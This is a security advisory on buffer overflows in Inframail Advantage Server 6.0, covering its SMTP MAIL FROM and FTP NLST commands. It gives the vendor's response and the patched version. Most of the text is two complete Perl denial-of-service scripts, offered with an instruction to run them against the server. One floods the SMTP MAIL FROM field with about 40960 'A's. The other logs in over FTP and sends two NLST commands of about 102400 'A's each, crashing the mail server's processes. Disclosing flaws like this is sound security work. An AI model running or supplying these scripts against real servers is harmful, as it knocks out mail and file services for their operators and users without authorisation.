Summary: Multiple buffer overflows exist in Infradig Systems Inframail Advantage Server Edition 6.0 (http://www.infradig.com/) Details: Input to the SMTP MAIL FROM: command and the FTP NLST command is not properly checked and/or filtered. Issuing the character 'A' roughly 40960 times as an argument to the MAIL FROM: command will cause the ifmail.exe process to die and re-launch. Issuing the character 'A' roughly 102400 times to the NLST command and then issuing the character 'A' roughly 102400 times to the NLST command again will cause all processes running under the ifmailsvc.exe process to die and re-launch (these processes include slapd.exe, slurpd.exe, ifmail.exe, ifweb.exe, etc.). Vulnerable Versions: Infradig Systems Inframail Advantage Server Edition 6.0 (Version: 6.37) Patches/Workarounds: The vendor was notified of the issue. Here is the vendor response: "The current release of Inframail is v7.11 and we have 1) been able to reproduce the SMTP crash, but 2) not the FTP one. The SMTP crash is fixed in the release Inframail v7.12 just out." A patched version of the affected software has been released (Version: 7.12) and is available from http://www.infradig.com/. Exploits: Run the following PERL scripts against the server. The corresponding processes will die and then re-launch. #===== Start Inframail_SMTPOverflow.pl ===== # # Usage: Inframail_SMTPOverflow.pl # Inframail_SMTPOverflow.pl 127.0.0.1 # # Infradig Systems Inframail Advantage Server Edition 6.0 # (Version: 6.37) # # Download: # http://www.infradig.com/ # ########################################################### use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "25", Proto => "TCP")) { print "Attempting to kill Inframail SMTP server at $ARGV[0]:25..."; sleep(1); print $socket "HELO moto.com\r\n"; sleep(1); print $socket "MAIL FROM:" . "A" x 40960 . "\r\n"; close($socket); } else { print "Cannot connect to $ARGV[0]:25\n"; } #===== End Inframail_SMTPOverflow.pl ===== #===== Start Inframail_FTPOverflow.pl ===== # # Usage: Inframail_FTPOverflow.pl # Inframail_FTPOverflow.pl 127.0.0.1 # # Infradig Systems Inframail Advantage Server Edition 6.0 # (Version: 6.37) # # Download: # http://www.infradig.com/ # ########################################################### use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { print "Attempting to kill Inframail FTP server at $ARGV[0]:21..."; sleep(1); print $socket "USER hello\r\n"; sleep(1); print $socket "PASS moto\r\n"; sleep(1); print $socket "NLST " . "A" x 102400 . "\r\n"; sleep(1); print $socket "NLST " . "A" x 102400 . "\r\n"; close($socket); } else { print "Cannot connect to $ARGV[0]:21\n"; } #===== End Inframail_FTPOverflow.pl ===== Discovered by Reed Arvin reedarvin[at]gmail[dot]com (http://reedarvin.thearvins.com/) Vulnerability discovered using PeachFuzz (http://reedarvin.thearvins.com/tools.html